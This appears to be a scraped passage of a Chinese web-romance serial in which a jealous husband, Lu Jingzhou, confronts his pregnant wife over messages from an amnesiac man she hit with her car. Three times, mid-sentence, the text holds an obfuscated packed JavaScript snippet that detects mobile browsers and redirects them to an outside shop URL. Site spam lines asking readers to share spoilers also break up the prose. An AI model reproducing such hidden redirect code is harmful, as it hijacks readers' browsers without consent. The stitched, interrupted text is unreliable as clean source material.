岑予衿被他抱得紧紧的,能清晰地感受到他身体的颤抖和那份几乎要溢出来的不安与委屈。 他刚才那番颠三倒四,自相矛盾的话,更是像一把小锤子,轻轻敲在她心尖最软的地方。 他连“不许喜欢”都不敢真正说出口,只敢要求“不能最喜欢”、“不能最爱”。 京圈所有人都闻风丧胆的顶级二世祖陆京洲,此刻在她面前,因为几条莫名其妙的微信,就慌得像个怕被抛弃的小孩。 用最笨拙的方式,宣告着他那不容撼动又小心翼翼的**。 岑予衿的心软得一塌糊涂,所有的一切瞬间烟消云散。 她知道陆京洲的性子,一旦涉及到她,占有欲和保护欲就会变得极其强烈,甚至有些幼稚。 他此刻的委屈和慌乱,恰恰证明了他有多在乎她。 她抬起手,轻轻回抱住他紧绷的脊背,指尖一下下抚摸着,试图安抚他的情绪。 她的声音放得又轻又柔,像羽毛拂过心尖,“傻瓜,” 带着无奈和浓得化不开的心疼,“你在胡思乱想什么呀?” 她稍微退开一点,双手捧住他的脸,强迫他看着自己的眼睛。 陆京洲眼眶还红着,睫毛湿漉漉的,眼神里满是倔强的委屈和不安,像只被抢了宝贝骨头却只敢呜咽着表示不满的大型犬,让人心疼又好笑。 岑予衿看着他这副样子,心里那点因为被冤枉而起的些微气恼也彻底没了踪影,只剩下满满的爱怜。 她凑过去,轻轻吻了吻他泛红的眼尾,那吻轻柔得像蝶翼拂过,带着安抚的意味。 她的唇顺着他的脸颊下滑,最后,在他那张还在喋喋不休,吐露着委屈控诉的唇上,重重印了上去。 陆京洲所有未出口的酸话和质问,瞬间被这个主动的吻堵了回去。 他身体僵了一瞬,眼睛微微睁大,似乎没反应过来。 但紧接着,那熟悉的、独属于她的柔软触感和清甜气息,像一股温热的泉水,瞬间浇熄了他心头的焦躁,也冲散了他喉间的酸涩。 这个吻起初只是轻柔的触碰,带着抚慰的意味。 但陆京洲在短暂的愣怔后,几乎是本能地反客为主。 他一手揽住她的腰,将她更紧密地按向自己,另一只手仍不忘紧紧攥着那只“罪魁祸首”……手机,仿佛那是他的战利品,也是他委屈的证明 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 。 他加深了这个吻,带着些许未消的怨气,更多的是失而复得般的急切和确认。 他的舌尖撬开她的齿关,强势地闯入,纠缠着她的。 仿佛要通过这个吻,将她的一切都打上自己的烙印,驱散掉她所有不该存在的气息和念头。 岑予衿被他吻得有些喘不过气,指尖无意识地揪紧了他胸前的衣料,但没有推开他。 她能感受到这个吻里蕴含的所有复杂情绪。 委屈、不安、独占,还有深沉的爱。 她温柔地回应着,任由他索取,指尖轻轻划过他的后颈,带着安抚的韵律。 直到两人都气息不稳,陆京洲才稍稍退开,额头抵着她的额头,呼吸交融。 他的眼眶还残留着红意,但眼底的冰霜和怒火已然褪去,取而代之的是一种被抚慰后的柔软,以及一丝不易察觉的羞赧。 他依然固执地举着手机,屏幕还亮着,那条“老婆姐姐的消息就在两人眼前。 “你还没说清楚…… 但语气已经软了很多,更像是在讨要一个保证,“他到底是谁?为什么叫你……那样叫?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936666|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>岑予衿趁他松懈,终于从他手里拿过了手机。 她没有立刻去看那些消息,而是先按熄了屏幕。 然后将手机放到一边,双手重新捧住他的脸,让他只能专注地看着自己。 “阿洲,你听好了,只此一次,给我好好记住。 “那个人是谁不重要,不论是上次的阳光开朗型的青春男大小奶狗沈思勉,还是这次的男人,我都不喜欢。 她语气认真,眼神清澈而坚定,不容置疑,“那个人,是我前段时间开车不小心撞到的。当时他伤得不轻,还失忆了,现在心智状态不太稳定,有点像依赖大人的小孩子。 “一直是陈叔在负责照顾他。我不知道他怎么有的我联系方式,更没允许他这么叫我。‘老婆姐姐’这个称呼,大概是他在哪听到的,他自己就理解歪了,乱叫的。我对他,只有因为车祸而产生的责任和内疚,仅此而已。 她一字一句,说得清晰缓慢,确保他能听进去每一个字。 “我的微信里,他只是个陌生人,哪怕现在删掉都行。她拿起手机,当着他的面,找到那个联系人,毫不犹豫地选择了修改,指尖飞快地输入了新的备注——【被撞失忆需负责人员】。 “而我的老公,我未来孩子的爸爸,我唯一最爱最想 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 共度一生的人,” 她放下手机,重新看向他,眼眸里盛满了星光,也盛满了只为他一人绽放的柔情,“在这里。” 她拉起他的手,按在自己微微隆起的小腹上,然后又移到自己的心口,“在这里,和这里。” “陆京洲请你记住,我这个人对另一半只有一个要求,你知道是什么吗?” 陆京洲的目光随着她的动作移动,看着她改掉备注。 听着她清晰无比的剖白。 感受着手心下她身体的温度和心跳,胸腔里那股淤积的酸胀感,终于彻底消散。 他耳根发热,为自己刚才那番幼稚的吃醋和失控感到些许不好意思,但更多的是被她的直白爱意所震撼,摇了摇头,“不知道。” “我的标准就是——陆京洲,只要是你就可以,不管你变成什么样,你是什么样的我就喜欢什么样的,你是什么样的我就爱什么样的。” 岑予衿将手搭在他的肩头,声音清脆,“我只喜欢你,最喜欢你,我只爱你,最爱你!” “真的?”他还是忍不住确认,声音闷闷的,但已经带上了点不易察觉的撒娇意味,“不会觉得他……可怜?不会因为他依赖你,就……就心软?” “会心软,因为是我造成的。”岑予衿诚实地说,看到陆京洲眉头立刻又蹙起,赶紧补充。 “但那是出于责任和同情,和对你的感情完全不同。阿洲,爱是独一无二的,是不可替代的。我心里最重要的位置,早就被你占满了,塞得满满的,一点空隙都没有了。别人再好,再可怜,也进不来,更撼动不了分毫。” 她顿了顿,故意板起脸,戳了戳他的胸口,“倒是你,陆大总裁,对自己这么没信心吗?随随便便一个称呼,几条消息,就让你慌成这样?连‘正宫’都喊出来了,嗯?” 第172章 老婆姐姐,我想找你 陆京洲被她说得耳根更红了眼眶也红他捉住她作乱的小手握在掌心低声嘟囔“谁让他叫得那么……那么亲热。还老婆姐姐……我都没这么叫过。” 语气里居然还有点攀比的委屈。 岑予衿失笑故意逗他“那你想怎么叫?也叫我老婆姐姐?” 陆京洲立刻摇头一脸嫌弃“才不要肉麻**。” 他凑近她额头抵着她的声音压得低低的带着磁性的蛊惑“我叫你老婆或者……笙笙就很好。只属于我的称呼。” 他说着又想起那条草莓蛋糕不满地哼了一声“还有草莓蛋糕以后只能喂我吃。我可以喂你但你不许喂别人也不许吃别人留的。” 岑予衿看着他这醋意未消斤斤计较的模样 陆京洲终于露出了从看到消息后的第一个真正舒心的笑容。 那笑容驱散了他脸上所有的阴霾让他看起来恢复了平日里的俊朗甚至因为眼角的微红和湿意多了几分罕见的柔和。 他收紧手臂将她完全圈进自己怀里下巴搁在她发顶深深吸了一口气满是她身上令他安心的馨香。 “勉强满意。”他嘴上说着勉强语气却已经彻底放松下来带着餍足“以后他的事让陈叔处理需要负责的部分告诉我我来安排。你不许单独去见他听到没?” “听到了陆总。”岑予衿窝在他怀里乖巧应声手指无意识地玩着他睡衣的纽扣。 “还有。”陆京洲想了想又补充带着点恶狠狠的意味“微信上也不许跟他多聊必要的事情说完就结束。不许他用那种语气跟你说话我会让陈叔提醒他。” “好都听你的。”岑予衿仰头亲了亲他的下巴“那陆宝宝~现在可以消气了吗?可以不再用那种好像我要抛弃你的眼神看着我了吗?” 陆京洲低下头看着她带笑的眼眸那里面的爱意和包容让他心底最后一丝阴霾也彻底消散。 他吻了吻她的眉心郑重地说“笙笙我永远不会不要你。你也不许不要我。” “傻瓜。”岑予衿搂住他的脖子主动送上一个吻“爱你都来不及。” 窗外的阳光愈发灿烂透过窗帘的缝隙洒进来在两人相拥的身影上投下温暖的光斑。 因误会而起的醋海风波终于在这缠绵的吻和真挚的告白中彻 你的朋友正在书荒,快去帮帮他吧 底平息,只剩下满室的温情与缱绻。 陆京洲的心,终于落回了实处。 他知道,他的笙笙,从来都只是他一个人的笙笙。 而那些无关紧要的插曲,永远无法动摇他们之间深刻的羁绊与爱情。 可这份安心没能持续太久。 一个被他忽略的关键点,如同冰冷的水滴,骤然落入他逐渐平复的心湖,激起一圈不祥的涟漪。 不对。 她刚才说什么? 她撞到了人……她开车撞到了人? 那不是意味着……她出了车祸?! 这个想法像一道惊雷,猛地劈开了陆京洲刚刚放松下来的神经。 他拥抱着岑予衿的手臂瞬间僵硬,心脏像是被一只无形的手狠狠攥住,猛地提到了嗓子眼,连带着呼吸都停滞了一瞬。 刚才所有的注意力都被那个该死的“老婆姐姐和汹涌的醋意占据。 他竟然完全忽略了这最危险、最重要的事实! 他的笙笙,在**的时候,遭遇了车祸! 陆京洲的脸色“唰地一下白了,比刚才吃醋时的阴沉更甚。 他几乎是立刻松开了怀抱,双手抓住岑予衿的肩膀,力道不受控制地有些重。 将她稍稍推离自己一些,好能看清她的全貌。 他的眼神锐利又慌乱,如同最精密的扫描仪,飞速地上下打量着她,从她还有些湿气的头发,到光洁的额头、清澈的眼睛、红润的脸颊,再到脖颈、手臂…… 仿佛要确认她身上是否有一丝一毫被隐藏起来的伤痕。 “什么时候的事儿?他的声音陡然拔高,带着难以掩饰的紧张和急切,与方才委屈嘟囔的模样判若两人,“你撞到人?那你呢?你伤到哪里没有?啊? 他问得又快又急,问题一个接一个地砸出来,根本不给岑予衿反应的时间。 他的指尖甚至微微发抖,想去碰触她,又怕碰疼了她哪里。 岑予衿被他突如其来的剧烈反应弄得一愣,肩膀被他抓得有点疼。 看着他瞬间惨白的脸和眼底浓得化不开的惊惧,立刻明白过来他在担心什么。 她心里一暖,又有些懊恼,刚才光顾着解释弟弟的事情,忘了这茬会让他如此后怕。 “阿洲,你别紧张,我没事,真的没事。她连忙放柔了声音,双手覆上他紧抓着自己肩膀的手背,轻轻拍了拍,试图安抚他几乎要炸开的情绪。 “快告诉我!什么时候发生的?具体怎么回事?陆京洲 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 却无法轻易平静,他的心脏还在狂跳,后怕如同冰冷的潮水般涌上来,要将他淹没。 他出差在外,她竟然独自经历了这样的意外! 只要一想到她可能受伤,甚至……他就感到一阵窒息般的恐惧。 岑予衿看着他眼底真实的恐慌,不敢再拖延,老老实实地回答,“就是你出国去找傅聿琛的第二天。事情不严重,真的,就是一点小擦碰。” 她尽量轻描淡写,但陆京洲听到“第二天”时,瞳孔猛地一缩。 那天他刚离开,她就…… “小擦碰?”陆京洲的声音都变调了,带着怒气和心疼,“小擦碰会撞到人失忆?你当时在哪儿?怎么发生的?为什么不立刻告诉我?!” 他的追问如同连珠炮,每个字都透着焦灼。 他简直不敢想象,如果当时情况更严重一些……他远在千里之外,甚至无法第一时间得知消息! “当时就是去公司的路上,突然蹿出来一个人,我刹车没完全刹住,就……” 岑予衿避重就轻地描述着,省略了对方当时看起来有些恍惚径直撞过来的细节。 “真的只是轻轻碰了一下,对方摔倒了,我吓坏了,立刻下车查看,叫了救护车。我自己系着安全带,气囊都没弹出来,真的毫发无伤。” 她强调着自己的情况,但陆京洲的脸色丝毫没有缓和。 他紧紧盯着她的眼睛,仿佛要从中找出一丝隐瞒的痕迹,“去医院检查了吗?全身检查?确定一点事都没有?” “检查了,检查了!”岑予衿连忙点头,语气肯定,“当时就送对方去医院,我也顺便做了检查,医生说了,连皮都没擦破一点,宝宝也很好,一切正常。你不信的话,检查报告我还收着呢。” 听到“宝宝也很好”,陆京洲紧绷的神经似乎稍微松动了一丝,但恐惧的余波仍在胸腔里震荡。 他深吸一口气,努力平复着过快的心跳,但声音依然带着紧绷的沙哑,“为什么?为什么不告诉我?笙笙,这是车祸!哪怕再小,你也应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936667|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该第一时间告诉我!” 他的语气里除了后怕,还有一丝被隐瞒的受伤和愤怒。 他无法忍受在她遇到事情时,自己竟然是最后一个知道的,甚至可能永远不知道。 岑予衿看出他眼中的受伤,心尖像是被刺了一下。 她放软了身体,主动靠进他怀里,环住他的腰,脸颊贴在他剧烈起伏的胸膛上,听着那里急促而有力的心跳。 “阿洲,对不起。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 她轻声道歉,带着诚恳,“我不是故意瞒你。当时你在国外,处理傅聿琛那边的事情已经很棘手了,我不想让你分心,更不想让你在那么远的地方干着急。 而且,我真的没事,对方虽然失忆了,但身体其他检查也没大碍。我觉得……这不是什么大事,我自己可以处理,就想着等你回来再跟你说。” “不是大事?”陆京洲的声音闷闷地从头顶传来,手臂收紧,将她牢牢箍在怀里,力道大得像是要将她嵌进自己的身体里。 “只要涉及到你的安全,再小的事也是天大的事!笙笙,你知不知道,如果我回来听到的不是你的解释,而是其他什么消息……我……” 他说不下去,那种假设带来的冰冷恐惧让他再次收紧了手臂。 他低头,吻着她的发顶,声音带着不容置疑的坚决和一丝不易察觉的轻颤,“答应我,以后无论发生什么事,哪怕是你觉得微不足道的小事,比如掉了根头发,磕了一下桌子,都必须立刻告诉我!不准再自己扛着,也不准让我从别人那里知道关于你的任何意外,听到没有?” 这要求近乎蛮横,甚至有些幼稚,可里面蕴含的担忧,却沉甸甸地压在岑予衿心上。 她知道,这次是真的吓到他了。 这个看似强大的男人,有着最不容触碰的软肋,那就是她和宝宝。 她从他怀里仰起脸,看着他已经恢复了些血色但依旧严肃紧绷的下颌线。 伸出手指,轻轻抚平他眉心的褶皱,然后踮起脚尖,吻了吻他的嘴角。 “听到了,陆先生。” 她的声音温柔而郑重,带着笑意,也带着承诺,“我保证,以后哪怕是不小心被纸划了一下手指,也立刻打电话跟你汇报,好不好?让你时时刻刻都知道你的陆太太是平安的,完整的。” 陆京洲低头,看进她含笑的眼眸,那里面的安抚和爱意,一点点驱散了他心底最后残留的惊悸。 他知道她是在哄他,但这份承诺依旧让他感到了安心。 他叹了口气,重新将她按回怀里,下巴抵着她的发顶,闷声道,“记住你说的话。要是再敢瞒我……” 他想了想,似乎找不到什么能真正威胁到她的惩罚,最后只能带着点无奈和宠溺地威胁,“我就……我就再也不让你单独出门了,天天把你带在身边。” 岑予衿在他怀里偷笑,手指戳了戳他硬邦邦的胸膛,“陆总,你这是非法拘禁哦。” “那你就试试看。”陆京洲哼了一声,语气却已经彻底软化下来,只剩下一片劫后余生般的庆幸和温柔。 他再次确认般地摸了摸她的小腹,感受着那里平稳的起伏,又仔细看了看她的脸色,才终于彻底放下心来。 叮咚! 微信的声音又响了! 陆京洲立马黑了脸,公开处刑似的点开了那条语音。 【老婆姐姐~我现在就想去家里找你,你来接我好不好~现在就来~】 第173章 声音怎么那么像傅聿琛? 那声“老婆姐姐”就像一根针,精准地扎在他刚平复下来的情绪上。 而“现在就来家里找你”这几个字,更是直接点燃了他压了好几天的**桶——一点就炸! “艹!” 陆京洲爆了句粗口,眼神冷得能冻**。 关于自己老婆车祸的后怕和心疼还没完全消散。 现在又被这不知死活的小子添了把火,两股情绪交织在一起,烧得他理智全无。 岑予衿明显感觉到他周身气压骤降。 刚想开口安抚,就见陆京洲猛地松开了抱着她的手臂,抬手就开始往上撸衣服的袖子。 他的动作又快又狠,昂贵的衬衫袖子被他三两下推到手肘以上,露出线条流畅结实的小臂。 那架势,哪里还是刚才那个委屈巴巴讨要承诺的陆宝宝,分明是准备去干架的活阎王。 “哪来的**登!”陆京洲咬着后槽牙,声音从齿缝里挤出来,带着一股森然的狠劲儿,“看老子今天不弄死他。” 他说完,攥着手机转身就往卧室门口冲,脚步又快又重,一副立刻就要出门**的模样。 “阿洲!”岑予衿吓了一跳,连忙追上去,从后面一把抱住他的腰,“你冷静点!” 陆京洲被她拖得脚步一顿,但没有回头,胸膛还在剧烈起伏,显然气得不轻。 “我怎么冷静?”他声音又沉又冷,“这小子是失忆了,不是失智了!老婆姐姐?去家里找你?还让你去接他?他算什么东西!” 他说到最后,几乎是低吼出来的,握着手机的手背青筋都凸起了。 岑予衿知道他是真动怒了,赶紧转到前面,双手捧住他的脸,强迫他看着自己。 “老公,你看着我~”她声音放得又轻又柔,带着安抚的力道,“他现在就是个什么都不记得的小孩,心智可能真的就跟小孩差不多。你跟他较什么劲?嗯?” “小孩?”陆京洲盯着她,眼神又凶又委屈,“小孩就知道叫你老婆姐姐了?就知道要你单独去接他了?他那是小孩吗?他那是……” 他找不到合适的词,气得别过脸,呼吸依然粗重,“那是借着小孩心性在耍流氓。” 岑予衿看着他这副又吃醋又炸毛的样子,心里其实是有点想笑的。 但此刻只能强忍着,继续温声细语地哄,“是是是,他叫得不对,说得也不对。 可你想想,他现在除了我这个‘熟人’,谁也不认识,没有记忆,没有依靠,心里肯定很慌很怕。 这 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 种情况下抓住一根稻草就喊得亲近些行为也没分寸不是不能理解对不对?” 陆京洲抿着唇不说话但紧绷的下颌线稍微缓和了一点点。 岑予衿趁热打铁手指轻轻摩挲着他的脸颊继续道“再说了你跟一个病人计较什么?” “一个现在连自己是谁都搞不清楚的人你就算真去揍他一顿有什么用?” 她笑着搓了搓他的脸“除了显得我们陆宝宝气量小欺负病人还能得到什么?” “我气量小?”陆京洲被她这么一说更委屈了转回头瞪她“他都惦记到我老婆头上了我还得大方?” “不是让你大方。”岑予衿无奈地笑了笑踮脚亲了亲他紧抿的唇角“是让你别把精力浪费在这种无关紧要的人身上。你现在最该找的不是他是傅聿琛啊。” 听到傅聿琛的名字陆京洲眼神闪了闪怒火稍微被理智压下去一些。 岑予衿观察着他的神色再接再厉 她条理清晰说到点上了。 陆京洲听着胸口那团横冲直撞的火气终于开始慢慢降温被更冷静的思绪取代。 是啊他跟一个失忆的病人较劲确实没意思也解决不了根本问题。 想到车祸陆京洲心头又是一紧残余的后怕漫上来。 岑予衿看出他的松动双手下滑环住他的脖子整个人贴近他声音软得像棉花糖。 “不气了好不好?为了那种人气坏了自己多不值当。你的陆太太在这里呢心里眼里都只有你一个人。一个称呼而已我以后绝对不会让他再乱叫了我保证嗯?” 她仰着脸眼神清澈又专注地看着他里面盛满了安抚和爱意。 陆京洲看着她这副全心全意哄着自己的模样再硬的心肠也软了。 他其实哪里是真的要去弄死谁不过是醋意和担忧冲昏了头加上听到那语音火上浇油一时冲动罢了。 他重重地叹了口气伸手将她重新搂进怀里下巴抵着她的发顶闷闷道“我不是气量小……我就是受不了。任何对你有企图的人我都受不了。更何况他还让你出了车祸……” 他的声音低下去带着懊恼。 岑予衿在他怀里轻轻点头“我知道我都知道。我的阿洲最紧张我了。所以我才更要你好好的别为这种人生气伤身。我们去找傅聿琛?” 陆京洲没立刻回答只是收紧了手臂将她抱得更牢。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 他在用这种方式确认她的存在,平复自己翻腾的情绪。 卧室内安静下来,只剩下两人相拥的温暖和彼此的心跳声。 阳光又偏移了一些,将两人相拥的影子拉长,投在柔软的地毯上。 这份宁静渐渐抚平陆京洲心绪的时候。 岑予衿身体微微一僵,轻轻“啊”了一声。 陆京洲立刻紧张地松开她,低头查看,“怎么了?哪里不舒服?” 岑予衿却摇了摇头,脸上浮现出一种奇妙而温柔的神情。 她拉起陆京洲的一只手,轻轻放在自己微微隆起的小腹上。 “宝宝……好像动了。”她声音很轻,带着不确定,又带着惊喜,“你试试!” 陆京洲瞬间愣住了,所有的怒火和醋意,在这一刻全部被按下了暂停键。 他的手掌僵硬地贴在她的睡衣上,隔着薄薄的布料,感受着那下面的小生命。 一秒,两秒…… 就在他怀疑是不是岑予衿的错觉时,掌心下,非常轻微地动静。 很轻,却异常清晰。 像是一颗小石子投入心湖,荡开了层层叠叠的涟漪。 陆京洲整个人都呆住了,眼睛微微睁大。 一眨不眨地看着岑予衿的小腹,仿佛想透过衣料看到里面的小家伙们。 “感觉到了吗?”岑予衿小声问,眼里闪着光。 陆京洲喉结滚动了一下,缓缓点头。 他不敢用力,就那样小心翼翼地贴着,连呼吸都放轻了,生怕惊扰了他们。 紧接着,又一下轻微的律动传来。 这一次,比刚才更明显一些。 一种难以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936668|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言喻的情感瞬间击中了陆京洲。 酸涩冲上鼻尖,眼眶不受控制地发热。 所有的一切,在这一刻,被这微弱却坚定的生命讯号冲刷得干干净净。 这是他和笙笙的宝宝。 在他们经历了小小的风波和惊吓之后,用这种方式,宣告着他们的存在,也奇妙地安抚了他所有的不安。 原来,生命的力量如此强大。 陆京洲慢慢抬起头,看向岑予衿。 她的脸上洋溢着柔光,正低头看着自己的肚子,嘴角含着温柔至极的笑意。 什么**登,什么傅聿琛,什么老婆姐姐,什么车祸……都变得遥远而微不足道了。 他的世界里,只剩下眼前这个人,和她腹中与他们血脉相连的小生命。 “宝宝……”陆京洲 听说看这本书的人都是很幸运的,分享后你的运气会更棒 的声音有些沙哑,带着难以置信。 他弯下腰,将脸贴近岑予衿的小腹,动作轻柔得像是在对待举世无双的宝贝。 “阿洲,你跟他们说说话,他们会知道的。” “宝宝,我是爸爸。”他低声说,语气是前所未有的柔软,甚至带着一丝笨拙的讨好,“你……你们好啊。” 岑予衿看着他这副模样,心软得一塌糊涂。 她抬手,轻轻抚摸他柔软的头发。 陆京洲维持着那个姿势好一会儿,才直起身。 “笙笙,”他在她耳边轻声说,语气郑重,“辛苦你了……” 岑予衿明白他未尽的言语,回抱住他,柔声道,“阿洲,我不辛苦,你把我照顾的很好。” 过了好一会儿,陆京洲才深吸一口气,抬起头时,眼神已经恢复了平日的清明,但深处那抹柔软的暖意始终未散。 他拿起手机,又看了一眼那条烦人的语音。 可这一次,脸上已没有了暴怒,只剩下淡淡的厌烦和一种居高临下的漠然。 “你说得对。”他开口,声音平稳,“跟个病人计较,没意思。最重要的是傅聿琛。” 傅聿琛! 不对……那个幼稚男人的声音,怎么莫名和傅聿琛有点像呢? 嘶~ 难不成是他的错觉? 陆京洲猛地松开了岑予衿,“老婆,你先下楼吃饭,我得研究研究。” 他的情绪反差实在是太大了。 岑予衿还一时间没反应过来,这会哪有心情下楼吃饭。 也蹲在他身边,“你要研究什么?” 陆京洲见她蹲在自己身边,没坐在沙发上,将人一下子拉了起来,坐在自己腿上,“别蹲着,小孕妇容易抽筋。” 岑予衿奖励性的在他的脸上吧唧亲了一口,又乖又软,“好的,老公~” 陆京洲不自觉的挑了挑眉,继续点开他发过来的那些语音。 TMD! 怎么越听越像啊? 难不成真的是傅聿琛! 不会这么巧吧? “老婆,你是在哪里撞到的人?” 岑予衿皱眉,“就在咱们家门口的路上,他从绿化带里窜出来的,我刹车没刹下来就撞到了。” “你能说说他的具体特征吗?比如哪里有颗痣,或者是长什么样?” 这岑予衿可就有话语权了,声音都有些激动,“他人长得超帅的!” 第174章 求求你了,老公 她的眼睛就亮了几分像是发现了什么稀世珍宝般凑在陆京洲怀里坐得更稳了些。 小嘴立刻叭叭叭地不停歇语速快得像是倒豆子半点没有察觉到身边人周身悄然漫开的低气压。 “真的超绝我跟你说长这么大他就是我见过第二帅的男人!眉眼身段挑不出半点毛病看着就特别亮眼!” 陆京洲原本还支棱着耳朵琢磨着语音里的声线和傅聿琛的相似度 搭在岑予衿腰上的手不自觉收紧了些力道不算重却带着不容错辨的占有欲。 他垂眸看向怀里兴致勃勃的小女人漆黑的眼眸里翻涌着不易察觉的醋意。 唇角勾起一抹似笑非笑的弧度语气里裹着几分凉丝丝的酸气慢悠悠开口“哦~是吗?怎么个帅法?他第二帅?第一帅又是谁?” 他特意加重了“第二帅”三个字尾音微微上扬那点藏在话里的吃味几乎要溢出来。 掌心下能清晰感受到岑予衿纤细的腰肢温热的触感让他稍稍压下心头的躁动可眼底的醋意却半点没减。 他家笙笙和他相处了这么久还是头一次这么直白地夸赞别的男人。 还特意给人家排了名次这让他这个正主怎么能甘心。 岑予衿半点没听出来他话里的弦外之音。 满脑子都是那天撞到时那个男人狼狈却难掩惊艳的模样依旧滔滔不绝地形容着。 指尖还下意识地在空中比划着眉眼的轮廓语气里满是实打实的赞叹。 “剑眉星目你知道吧?他那眉毛浓黑有型眉峰挑得恰到好处不凶不软特别有劲儿。眼睛更是好看眼型偏长瞳仁黑亮得像淬了光看着透着一股子沉稳劲儿。” 她真是越说越来劲了“还有他的鼻子高挺笔直鼻尖的弧度特别精致嘴唇薄厚适中唇线清晰得很凑在一起五官精致的要命哪怕脸上沾着泥污头发乱糟糟的也盖不住那股子天生的贵气!” 她说得兴起又拍了拍陆京洲的胳膊补充道“对了最主要是他出车祸那天虽然像个乞丐似的浑身都是泥土草屑看着邋里邋遢的。 但是他身上的衣服没有破损的地方面料摸着特别细腻顺滑手感绝了一看就不是普通料子感觉很昂贵绝对是出身不凡的人!” 她当时下车查看情况怕对方受伤严重特意扶过他的胳膊无意间触碰到那衣服的面料就觉得绝非市面上的普通成衣。 只是当时满 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 心都是后怕和对伤者的担忧没太细想如今被陆京洲一问所有细节瞬间都清晰地浮现在脑海里。 陆京洲听着她事无巨细地描述别的男人的长相。 从眉毛眼睛说到鼻子嘴唇连衣服面料都记得清清楚楚心里的醋坛子瞬间翻了个底朝天酸意顺着心口蔓延到四肢百骸。 搭在她腰上的手收得更紧了几乎要将她揉进自己骨血里。 他喉结滚动了一下眼底的笑意淡了几分语气里的醋意再也藏不住带着几分凉凉的质问“这么说老婆也很为他着迷喽~” 这话一出岑予衿才后知后觉地回过神来猛地对上陆京洲深邃的眼眸。 里面翻涌着的醋意和委屈像小钩子似的扎在她心上。 她这才惊觉自己刚才说了什么脸颊瞬间泛起淡淡的红晕。 有些尴尬地吐了吐舌头粉嫩的舌尖轻轻舔过唇角模样娇俏又带着几分无措。 她就是单纯的评价那个人的长相纯属客观赞叹。 并没有半分别的心思没想到又一次精准地踩在了陆京洲的雷点上 她连忙摆手语气带着几分急切的辩解声音软软糯糯的。 “着迷个鬼我就是随口说说他长得好看而已哪里就着迷了!你知道第一帅是谁吗?” 她刻意转移话题眼神里满是讨好就盼着能赶紧把自家老公的醋意给压下去。 陆京洲看着她这副慌乱辩解的模样心里的酸意稍稍淡了些却还是故意端着架子挑眉睨着她语气带着几分淡淡的试探慢悠悠问道“谁呀?” 陆京洲心里其实早就有了答案却偏偏想听她亲口说出来想听她用最笃定的语气把自己放在独一无二的位置上。 岑予衿见状立刻抓住机会顺**双手环住陆京洲的脖子顺势往他怀里凑了凑。 脸颊贴着他温热的颈窝声音甜得像浸了蜜带着毫不掩饰的崇拜和爱意“当然是我老公了那可是我见过最帅的男人没有之一!” 她说着抬头仰望着陆京洲的眉眼眼底盛满了璀璨的星光只倒映着他一个人的身影“你看你眉眼比他深邃多了眉峰凌厉又温柔看我的时候眼里全是光。 眼睛比他更有神不管是生气还是宠溺都特别有魅力。 还有你的鼻梁比他高挺立体嘴唇更是好看笑起来的时候能迷**气质就更不用说了又霸气又深情又沉稳又宠溺。 他虽然也 听说看这本书的人都是很幸运的,分享后你的运气会更棒 帅,但跟你比起来,连你半分都比不上!在我心里,你永远是最帅的,没人能比得上!” 这番话甜得齁人,字字句句都说到了陆京洲的心坎里。 心里的醋意瞬间烟消云散,取而代之的是满满的宠溺和不易察觉的得意。 他身子往后靠,慵懒地倚在沙发背上,后背抵着柔软的靠垫,单手撑着脑袋,指尖轻轻搭在太阳穴上,另一只手依旧稳稳地托着岑予衿的腰。 眼神玩味地看着怀里娇俏讨喜的老婆,唇角勾起一抹戏谑又宠溺的弧度,慢悠悠开口。 “他都第二帅了,还那么粘着我老婆,一口一个老婆姐姐叫得亲热,还非要让你去接他,这么黏人,老婆没打算把他收入后宫。” 没安全感的男人又在试探她! 她是那么没有底线的人吗? 算了……她知道这话是逗她的,可岑予衿却半点不敢含糊,立刻把头摇的跟拨浪鼓似的。 脑袋在陆京洲的颈窝里轻轻蹭了蹭,发丝蹭得他脖颈发痒,心里却软得一塌糊涂。 她的手紧紧攥着陆京洲的衣领,语气坚定又认真,带着几分嫌弃,“才没有!我才不把他收入后宫呢,这辈子有你一个就够了,多一个人都嫌麻烦!” 